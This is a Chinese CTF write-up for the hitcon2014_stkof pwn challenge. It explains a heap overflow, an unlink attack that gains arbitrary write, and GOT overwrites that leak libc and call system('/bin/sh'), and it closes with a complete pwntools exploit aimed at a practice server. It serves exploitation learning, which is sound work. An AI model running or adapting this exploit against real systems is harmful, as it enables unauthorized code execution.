hitcon2014_stkof

hitcon2014_stkof

使用checksec查看:
hitcon2014_stkof

开启了Canary和栈不可执行,没有开启PIE。

先运行一下看看,发现是直接可以输入的,什么提示也没有,那么先拉进IDA中看:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  signed int v5; // [rsp+Ch] [rbp-74h]
  char nptr; // [rsp+10h] [rbp-70h]
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  while ( fgets(&nptr, 10, stdin) )
  {
    v3 = atoi(&nptr);
    if ( v3 == 2 )
    {
      v5 = edit();
      goto LABEL_14;
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        v5 = delete();
        goto LABEL_14;
      }
      if ( v3 == 4 )
      {
        v5 = show();
        goto LABEL_14;
      }
    }
    else if ( v3 == 1 )
    {
      v5 = add();
      goto LABEL_14;
    }
    v5 = -1;
LABEL_14:
    if ( v5 )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}

看了个大概,是一道堆题,这里我已经将函数重命名了,接下来分步看。

首先是sub_4009E8()
hitcon2014_stkof

  • n = atoll(&s);:n是由用户输入的
  • for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) ):因为n是由用户输入的,所以这边就存在了一个堆溢出。
  • 对应edit()

sub_400B07()
hitcon2014_stkof

  • ::s[v1] = 0LL;:指针置0了,没啥毛病
  • 对应delete()

sub_400BA9()
hitcon2014_stkof

  • 初步看起来没啥用的函数,因为它并不能输出啥东西啊,但是后面会用到。
  • strlen(::s[v1]):将strlen@got换成puts@plt会输出s[v1]所指向的地址的数据,用来泄露libc
  • 对应show()

sub_400936()
hitcon2014_stkof

  • ::s[++dword_602100] = v2;:heap的地址是存放在bss段上的。
  • 对应add()

接下来先看下bss段:
hitcon2014_stkof

  • heap存储的起始地址并不是0x602100而是602140

题目思路

  • 存在堆溢出
  • heap在bss段上
  • so…首想unlink
  • 制造fake_chunk,通过unlink进行任意地址写
  • 覆盖strlen@gotputs@plt,泄露出free@got地址,从而得到libc的基地址
  • 覆盖free@gotsystem@got,执行system('/bin/sh')

步骤解析

首先创建三个chunk:0x90、0x90、0x10,看下heap的布局情况

hitcon2014_stkof

发现并没有将我们的两个0x90chunk连在一起,这里需要先申请一个chunk绕过限制。

绕过后的堆布局如下:

hitcon2014_stkof

这里还需要注意的是该程序并没有chunk0,是从chunk1开始的

接着就需要构造fake_chunk,进行unlink了,此处可以先将chunk4内容修改为/bin/sh\x00,或者之后再修改也没有问题

fake_chunk = p64(0)+p64(0x91) + p64(bss_addr-0x18) + p64(bss_addr-0x10) fake_chunk = fake_chunk.ljust(0x90,b'M') fake_chunk += p64(0x90) + p64(0xa0)

这里bss_addr0x602150,并不是0x602140,因为我们修改的是chunk2,前面还需要0x10的空间,这0x10的是存放chunk0和chunk1的地址的。

hitcon2014_stkof

delete(3)完成unlink,堆布局如下:

hitcon2014_stkof

此时edit chunk2就可以修改各个chunk指向的地址。

payload = p64(0) + p64(strlen_got) + p64(free_got) edit(2,0x18,payload) edit(0,0x8,p64(puts_plt)) show(1)

布局覆盖strlen@gotputs@plt泄露free@got所指向的地址,获得真实libc的地址。

hitcon2014_stkof

这里还有个坑,有个OK需要接收,之后才是泄露的free@got地址

得到libc地址之后就可以获取system地址,覆盖free@got进行getshell

hitcon2014_stkof

完整exp

from pwn import *

#start
r = remote("node4.buuoj.cn",26925)
# r = process("../buu/hitcon2014_stkof")
elf = ELF("../buu/hitcon2014_stkof")
libc = ELF("../buu/ubuntu16(64).so")
context.log_level='debug'

def add(size):
   r.sendline('1')
   r.sendline(str(size))
   r.recvuntil('OK')
 
def edit(index,size,content):
   r.sendline('2')
   r.sendline(str(index))
   r.sendline(str(size))
   r.send(content)
   r.recvuntil('OK')
 
def delete(index):
   r.sendline('3')
   r.sendline(str(index))

def show(index):
   r.sendline('4')
   r.sendline(str(index))
   r.recvuntil('OK')

#params
bss_addr = 0x602150
puts_plt = elf.plt['puts']
free_got = elf.got['free']
strlen_got = elf.got['strlen']

add(0x100) #1
add(0x90) #2
add(0x90) #3
add(0x10) #4
# gdb.attach(r)

edit(4,0x8,b'/bin/sh\x00')

fake_chunk = p64(0)+p64(0x91) + p64(bss_addr-0x18) + p64(bss_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)

edit(2,0xa0,fake_chunk) 
# gdb.attach(r)
delete(3)
# gdb.attach(r)

payload = p64(0) + p64(strlen_got) + p64(free_got)
edit(2,0x18,payload)
# gdb.attach(r)
edit(0,0x8,p64(puts_plt))
# gdb.attach(r)
show(1)
r.recvline()
free_addr = u64(r.recv(6).ljust(8,b'\x00'))

#libc
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']

edit(1,0x8,p64(system_addr))
delete(4)

r.interactive()
上一篇:MySQL是怎样运行的——第九章


下一篇:Hystrix使用入门手册(中文)